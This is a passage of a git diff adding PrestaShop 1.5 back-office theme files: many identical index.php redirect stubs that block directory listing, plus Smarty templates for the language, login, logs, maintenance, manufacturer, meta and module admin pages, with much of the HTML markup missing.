'.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/invoices/index.php b/BO/themes/default/template/controllers/invoices/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/invoices/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/languages/helpers/form/form.tpl b/BO/themes/default/template/controllers/languages/helpers/form/form.tpl new file mode 100755 index 0000000..d8b551b --- /dev/null +++ b/BO/themes/default/template/controllers/languages/helpers/form/form.tpl @@ -0,0 +1,91 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="input"} + {if $input.type == 'special'} +
+ + +
+ {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name=script} + var langPackOk = "\"\" {l s='A language pack is available for this ISO.'}"; + var langPackVersion = "{l s='The Prestashop version compatible with this language and your system is:'}"; + var langPackInfo = "{l s='After creating the language, you can import the content of the language pack, which you can download under "Localization -- Translations."'}"; + var noLangPack = "\"\" {l s='No language pack is available on prestashop.com for this ISO code'}"; + var download = "{l s='Download'}"; + + $(document).ready(function() { + $('#iso_code').keyup(function(e) { + e.preventDefault(); + checkLangPack("{$token}"); + }); + }); + +{/block} + +{block name="other_fieldsets"} + + {if isset($fields['new'])} +

+
+ {foreach $fields['new'] as $key => $field} + {if $key == 'legend'} + + {if isset($field.image)}{$field.title}{/if} + {$field.title} + +

{l s='This language pack is NOT complete and cannot be used in the Front or Back Office because some files are missing.'}

+
+ {elseif $key == 'list_files'} + {foreach $field as $list} + +
+ {foreach $list.files as $key => $file} + {if !file_exists($key)} + + {/if} + {$key} + {if !file_exists($key)} + + {/if} +
+ {/foreach} +
+
+ {/foreach} + {/if} + {/foreach} +
+
{l s='Missing files are marked in red'}
+
+ {/if} + +{/block} diff --git a/BO/themes/default/template/controllers/languages/helpers/form/index.php b/BO/themes/default/template/controllers/languages/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/languages/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/languages/helpers/index.php b/BO/themes/default/template/controllers/languages/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/languages/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/languages/index.php b/BO/themes/default/template/controllers/languages/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/languages/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/localization/content.tpl b/BO/themes/default/template/controllers/localization/content.tpl new file mode 100755 index 0000000..3fefc85 --- /dev/null +++ b/BO/themes/default/template/controllers/localization/content.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+ {$localization_form} +
+
+
+ {$localization_options} +
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/localization/index.php b/BO/themes/default/template/controllers/localization/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/localization/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/login/content.tpl b/BO/themes/default/template/controllers/login/content.tpl new file mode 100755 index 0000000..784fdec --- /dev/null +++ b/BO/themes/default/template/controllers/login/content.tpl @@ -0,0 +1,100 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+
+{if isset($errors)} +

{if $nbErrors > 1}{l s='There are %d errors.' sprintf=$nbErrors}{else}{l s='There is %d error.' sprintf=$nbErrors}{/if}

+
    + {foreach from=$errors item="error"} +
  1. {$error}
  2. + {/foreach} +
+{/if} +
+
+{if isset($warningSslMessage)} +
{$warningSslMessage}
+{/if} +
+

{$shop_name}

+{if !isset($wrong_folder_name) && !isset($wrong_install_name)} +
+
+ + +
+
+ + +
+
+ +

+ +

+

+ {l s='Lost password?'} +

+
+
+ +
+
+

{l s='Forgot your password?'}

+

{l s='In order to receive your access code by email, please enter the address you provided during the registration process.'}

+
+ + +
+
+ +

+ +

+

+ +

+
+
+
+{else} +
+

{l s='For security reasons, you cannot connect to the Back Office until after you have:'}

+
    + {if isset($wrong_install_name) && $wrong_install_name == true}
  • {l s='deleted the /install folder'}
  • {/if} + {if isset($wrong_folder_name) && $wrong_folder_name == true}
  • {l s='renamed the /admin folder (e.g. %s)' sprintf=$randomNb}
  • {/if} +
+

{l s='Please then access this page by the new URL (e.g. %s)' sprintf=$adminUrl}

+
+{/if} +
+

© 2005 - {$smarty.now|date_format:"%Y"} Copyright by PrestaShop. all rights reserved.

+
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/login/index.php b/BO/themes/default/template/controllers/login/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/login/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/logs/helpers/index.php b/BO/themes/default/template/controllers/logs/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/logs/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/logs/helpers/list/index.php b/BO/themes/default/template/controllers/logs/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/logs/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/logs/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/logs/helpers/list/list_header.tpl new file mode 100755 index 0000000..2886a90 --- /dev/null +++ b/BO/themes/default/template/controllers/logs/helpers/list/list_header.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_header.tpl"} + +{block name="override_header"} + +
+ {l s='Severity levels'} +

{l s='Meaning of severity levels:'}

+
    +
  1. {l s='Informative only'}
  2. +
  3. {l s='Warning'}
  4. +
  5. {l s='Error'}
  6. +
  7. {l s='Major issue (crash)!'}
  8. +
+

+ +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/logs/index.php b/BO/themes/default/template/controllers/logs/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/logs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/maintenance/helpers/index.php b/BO/themes/default/template/controllers/maintenance/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/maintenance/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/maintenance/helpers/options/index.php b/BO/themes/default/template/controllers/maintenance/helpers/options/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/maintenance/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/maintenance/helpers/options/options.tpl b/BO/themes/default/template/controllers/maintenance/helpers/options/options.tpl new file mode 100755 index 0000000..2e15057 --- /dev/null +++ b/BO/themes/default/template/controllers/maintenance/helpers/options/options.tpl @@ -0,0 +1,35 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/options/options.tpl"} +{block name="input"} + {if $field['type'] == 'maintenance_ip'} + {$field['script_ip']} + + {$field['link_remove_ip']} + {else} + {$smarty.block.parent} + {/if} +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/maintenance/index.php b/BO/themes/default/template/controllers/maintenance/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/maintenance/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/manufacturers/helpers/index.php b/BO/themes/default/template/controllers/manufacturers/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/manufacturers/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/manufacturers/helpers/view/index.php b/BO/themes/default/template/controllers/manufacturers/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/manufacturers/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/manufacturers/helpers/view/view.tpl b/BO/themes/default/template/controllers/manufacturers/helpers/view/view.tpl new file mode 100755 index 0000000..7fe5e96 --- /dev/null +++ b/BO/themes/default/template/controllers/manufacturers/helpers/view/view.tpl @@ -0,0 +1,107 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + +

{$manufacturer->name}

+ +

{l s='Total addresses'} {count($addresses)}

+
+ + {if !count($addresses)} + {l s='No address has been found for this manufacturer.'} + {else} + {foreach $addresses AS $addresse} + + + + + + + +
{$addresse.firstname} {$addresse.lastname}
+
+ {$addresse.address1}
+ {if $addresse.address2}{$addresse.address2}
{/if} + {$addresse.postcode} {$addresse.city}
+ {if $addresse.state}{$addresse.state}
{/if} + {$addresse.country}
+
+
+ {if $addresse.phone}{$addresse.phone}
{/if} + {if $addresse.phone_mobile}{$addresse.phone_mobile}
{/if} +
+ {if $addresse.other}

{$addresse.other}
{/if} +

+ {/foreach} + {/if} + +

{l s='Total products'} {count($products)}

+ {foreach $products AS $product} +
+ {if !$product->hasAttributes()} + +

+ + + + {if !empty($product->reference)}{/if} + {if !empty($product->ean13)}{/if} + {if !empty($product->upc)}{/if} + {if $stock_management}{/if} + +
{$product->name}{l s='Ref:'} {$product->reference}{l s='EAN13:'} {$product->ean13}{l s='UPC:'} {$product->upc}{l s='Qty:'} {$product->quantity}
+ {else} + +

{$product->name}

+ + + + + + + {if $stock_management && $shopContext != Shop::CONTEXT_ALL}{/if} + + {foreach $product->combination AS $id_product_attribute => $product_attribute} + + + + + + {if $stock_management && $shopContext != Shop::CONTEXT_ALL}{/if} + + {/foreach} +
{l s='Attribute name'}{l s='Reference'}{l s='EAN13'}{l s='UPC'}{l s='Available Quantity'}
{$product_attribute.attributes}{$product_attribute.reference}{$product_attribute.ean13}{$product_attribute.upc}{$product_attribute.quantity}
+ {/if} + {/foreach} +{/block} diff --git a/BO/themes/default/template/controllers/manufacturers/index.php b/BO/themes/default/template/controllers/manufacturers/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/manufacturers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/marketing/helpers/view/view.tpl b/BO/themes/default/template/controllers/marketing/helpers/view/view.tpl new file mode 100755 index 0000000..b84d55b --- /dev/null +++ b/BO/themes/default/template/controllers/marketing/helpers/view/view.tpl @@ -0,0 +1,5 @@ +{if $show_toolbar} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +{/if} + +{$modules_list} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/meta/helpers/index.php b/BO/themes/default/template/controllers/meta/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/meta/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/meta/helpers/options/index.php b/BO/themes/default/template/controllers/meta/helpers/options/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/meta/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/meta/helpers/options/options.tpl b/BO/themes/default/template/controllers/meta/helpers/options/options.tpl new file mode 100755 index 0000000..1b5fa94 --- /dev/null +++ b/BO/themes/default/template/controllers/meta/helpers/options/options.tpl @@ -0,0 +1,43 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/options/options.tpl"} +{block name="input"} + {if $field['type'] == 'rewriting_settings'} + + + + + + + {if !$field['mod_rewrite']} + {l s='URL rewriting (mod_rewrite) is not active on your server, or it is not possible to check your server configuration. If you want to use Friendly URLs, you must activate this mod.'} +
+ {/if} + {else} + {$smarty.block.parent} + {/if} +{/block} + diff --git a/BO/themes/default/template/controllers/meta/index.php b/BO/themes/default/template/controllers/meta/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/meta/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/modules/content.tpl b/BO/themes/default/template/controllers/modules/content.tpl new file mode 100755 index 0000000..58546be --- /dev/null +++ b/BO/themes/default/template/controllers/modules/content.tpl @@ -0,0 +1,37 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($module_content)} + {$module_content} +{else} + {if !isset($smarty.get.configure)} + {include file='controllers/modules/js.tpl'} + {if isset($smarty.get.select) && $smarty.get.select eq 'favorites'} + {include file='controllers/modules/favorites.tpl'} + {else} + {include file='controllers/modules/page.tpl'} + {/if} + {/if} +{/if} diff --git a/BO/themes/default/template/controllers/modules/favorites.tpl b/BO/themes/default/template/controllers/modules/favorites.tpl new file mode 100755 index 0000000..13efe0e --- /dev/null +++ b/BO/themes/default/template/controllers/modules/favorites.tpl @@ -0,0 +1,82 @@ +
+ {include file='controllers/modules/header.tpl'} + + +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + {foreach from=$modules key=km item=module} + + + + + + + + + + + + {/foreach} + +
{l s='Logo'}{l s='Module Name'}{l s='Description'}{l s='Status'}{l s='Tab'}{l s='Categories'}{l s='Interest'}{l s='Favorite'} 
{$module->displayName}{$module->description|truncate:80:'...'}{if isset($module->id) && $module->id gt 0}{l s='Installed'}{else}{l s='Not Installed'}{/if} + {assign var="module_name" value=$module->name} + + {$module->categoryName} + + + +  
+ +
+
+
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/modules/filters.tpl b/BO/themes/default/template/controllers/modules/filters.tpl new file mode 100755 index 0000000..2120dd7 --- /dev/null +++ b/BO/themes/default/template/controllers/modules/filters.tpl @@ -0,0 +1,110 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $add_permission eq '1'} + {if isset($logged_on_addons)} + +
+

{l s='You are logged into PrestaShop Addons.'}

+
+ + + +
+
+ + {else} + {if $check_url_fopen eq 'ko' OR $check_openssl eq 'ko'} +
+ {l s='If you want to be able to fully use the AdminModules panel and have free modules available, you should enable the following configuration on your server:'}
+ {if $check_url_fopen eq 'ko'}- {l s='Enable allow_url_fopen'}
